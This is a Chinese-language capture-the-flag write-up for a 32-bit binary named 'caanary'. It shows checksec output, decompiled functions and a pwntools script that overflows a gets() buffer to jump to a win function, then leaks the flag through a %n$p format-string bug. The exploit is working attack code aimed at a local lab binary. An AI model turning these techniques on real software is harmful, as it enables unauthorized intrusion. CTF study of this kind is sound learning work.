# Caanary 题目 write up

# 保护检查

$ file caanary 
caanary: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=7255407ee223475c666712ccf070a16765c54e07, not stripped
$ checksec --file=caanary
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   2158) Symbols	  No	0		0		caanary

32 位程序,开启了 canary 保护检查

# 静态分析

ida pro 32 打开看看,

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init_0(&argc);
  vuln();
  puts("Bye hacker!");
  return 0;
}

main 主函数,调用了 vuln,

int vuln()
{
  char v1[20]; // [esp+0h] [ebp-18h] BYREF
  puts("Do you really know Canary?");
  return gets(v1);
}

题目虽然开启了 canary 保护,但是存在一些函数返回的时候,没有 canary 检查,就比如这里,所以这个题完全忽略 canary, 毕竟也没有

程序存在后门,

int win()
{
  char v1; // [esp-Ch] [ebp-74h]
  char v2[16]; // [esp+Bh] [ebp-5Dh] BYREF
  char v3[65]; // [esp+1Bh] [ebp-4Dh] BYREF
  int v4; // [esp+5Ch] [ebp-Ch]
  v4 = fopen("./flag", "r");
  if ( !v4 )
    exit(0);
  fgets(v3, 65, v4);
  fgets(v2, 16, stdin);
  return printf(v2, v1);
}

后门函数从系统中读取了 flag,但是没有直接输出,但是存到了栈上面,并且存在格式化字符串漏洞。

我们在 culn 栈溢出,覆盖返回地址到 win,接下来 l 利用格式化字符串漏洞,泄露栈上的数据

image-20230215200911935

我们动态调试,进入 printf 函数第一句指令

image-20230215201721973

观察此时的数据,flag 的第一个字母所在位置偏移是 %10p,因为这里没有一个变量可以直接指向这个字符串,我们使用p,因为这里没有一个变量可以直接指向这个字符串,我们使用%np 一点点泄露泄露出来,然后将得到的 16 进制数字进行转换,变为字符串。这需要多次执行脚本攻击,每次泄露 4 个字母(也可以一次泄露 12 字节,但是为了方便写脚本,我这里每次泄露 4 字节)。直到出现 ''}" .

# exp

from pwn import *
ss = b""
for idx in range(10,30,1):
	r=process('./caanary')
	context.log_level = "debug"
	#gdb.attach(r,'b puts\nb *0x080488D5')
	pad = b'a'*0x1c+p32(0x080488DE)
	r.sendlineafter(b'Do you really know Canary?\n',pad)
	a = idx+1
	b = idx+2
	pad = f"%{idx}$p"
	r.sendline(pad)
	ss += p32(int(r.recv(),16))
	if b"}" in ss:
		break
print(ss)
r.interactive()

效果

image-20230215204132822